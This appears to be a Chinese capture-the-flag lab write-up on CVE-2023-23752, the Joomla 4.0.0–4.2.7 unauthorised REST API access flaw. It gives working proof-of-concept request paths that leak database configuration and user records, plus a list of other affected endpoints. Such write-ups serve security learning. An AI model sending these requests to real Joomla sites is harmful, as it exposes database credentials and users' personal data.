春秋云镜 CVE-2023-23752(Joomla未授权访问Rest API)

本文分析了Joomla4.0.0至4.2.7版本中的一个安全漏洞,攻击者可通过恶意请求获取数据库配置和用户信息,涉及多个API接口。务必注意这些API可能带来的安全风险。

前言

本文中涉及到的相关技术仅用于网络安全技术讨论,严禁用于非法用途,否则产生的后果一切自行承担!

0x00 靶标介绍

Joomla是一个开源免费的内容管理系统(CMS),基于PHP开发。在其4.0.0版本到4.2.7版本中,存在一处属性覆盖漏洞,导致攻击者可以通过恶意请求绕过权限检查,访问任意Rest API。

0x01 影响版本

4.0.0 <= Joomla <= 4.2.7

0x02 复现

POC

数据库的配置信息
/api/index.php/v1/config/application?public=true

请添加图片描述
/v1/config/application 这个 API 可以获取数据库的配置信息
public为true就能越权
flag不在这里,继续查看用户信息

/api/index.php/v1/users?public=true
获取所有用户的信息

请添加图片描述
flag藏在了 username 中

其他受损API名单:

v1/banners
v1/banners/:id
v1/banners
v1/banners/:id
v1/banners/:id
v1/banners/clients
v1/banners/clients/:id
v1/banners/clients
v1/banners/clients/:id
v1/banners/clients/:id
v1/banners/categories
v1/banners/categories/:id
v1/banners/categories
v1/banners/categories/:id
v1/banners/categories/:id
v1/banners/:id/contenthistory
v1/banners/:id/contenthistory/keep
v1/banners/:id/contenthistory
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值